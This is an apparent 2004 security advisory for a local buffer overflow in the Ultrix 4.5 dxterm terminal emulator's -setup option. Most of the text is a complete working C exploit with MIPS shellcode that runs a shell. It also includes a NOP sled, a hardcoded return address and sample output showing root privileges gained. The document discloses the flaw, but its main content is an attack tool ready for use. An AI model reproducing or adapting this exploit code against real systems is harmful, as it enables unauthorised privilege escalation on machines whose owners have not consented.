[EXPL] Ultrix dxterm -setup Buffer Overflow

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Date: 12/21/04

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      Ultrix dxterm -setup Buffer Overflow
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    SUMMARY

    dxterm is a "DECwindows terminal emulator". A vulnerability in the way
    dxterm handles long -setup commands allows a local attacker to gain
    elevated privileges by overflowing an internal buffer in the program.

    DETAILS

    Vulnerable Systems:
     * Ultrix version 4.5

    Exploit:
    /* Ultrix 4.5/MIPS dxterm exploit
       by ztion in 2004
       Greets to: Stok, sidez

       It wasn't possible to use '/' in the shellcode. Probably dxterm only
       copies everything after the last slash, as it expects a path.
       Since everything is pretty much hardcoded, you will probably have to
       tweak it for versions other than 4.5

       nora> ./ultrix_dxterm_4.5_exploit
       $ id
       uid=268(ztion) gid=15(users)euid=0(root)
     */

    #include <stdio.h>

    #define NOP 0x25f8e003
    #define RET 0x7fffbe90

    char shellcode[] = {
            0x69,0x6e,0x19,0x3c, /* lui $t9, 0x6e69 */
            0x2e,0x61,0x39,0x37, /* ori $t9, $t9, 0x612e */
            0x38,0x01,0xb6,0x23, /* addi $s6, $sp, 312 */
            0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */
            0xf0,0xfe,0xd9,0xae, /* sw $t9, -272($s6) */
            0x73,0x68,0x19,0x3c, /* lui $t9, 0x6873 */
            0x11,0x11,0x06,0x24, /* li $a2, 0x1111 */
            0x11,0x11,0xc6,0x38, /* xori $a2, $a2, 0x1111 */
            0x2e,0x2e,0x39,0x37, /* ori $t9, $t9, 0x2e2e */
            0xf0,0xfe,0xc4,0x26, /* addiu $a0, $s6, -272 */
            0x01,0x01,0x39,0x23, /* addi $t9, $t9, 0x0101 */
            0x3f,0x01,0x02,0x24, /* li $v0, 319 */
            0xfc,0xfe,0x42,0x20, /* addi $v0, $v0, -260 */
            0xf4,0xfe,0xd9,0xae, /* sw $t9, -268($s6) */
            0xe8,0xfe,0xc4,0xae, /* sw $a0, -280($s6) */
            0xf8,0xfe,0xc6,0xae, /* sw $a2, -264($s6) */
            0xec,0xfe,0xc6,0xae, /* sw $a2, -276($s6) */
            0xe8,0xfe,0xc5,0x26, /* addiu $a1, $s6, -280 */
            0xcc,0xff,0xff,0x01 /* syscall */

    };

    int main(void)
    {
            char buf[256];
            int i;

            memset (buf, 2, 255);
            i = 0;
            while (i <= 8) {
                    ((int *)(buf+1))[i] = NOP;
                    i++;
            }

            memcpy (buf+33, shellcode, sizeof(shellcode));

            ((int *)(buf+3))[29] = RET;
            /* 119 - 122 is the return address */
            buf[123] = '\0';

            execl ("/usr/bin/dxterm", "dxterm", "-display", "localhost:0",
    "-setup", buf, NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ztion@swipnet.se> Kristoffer
    Branemyr.

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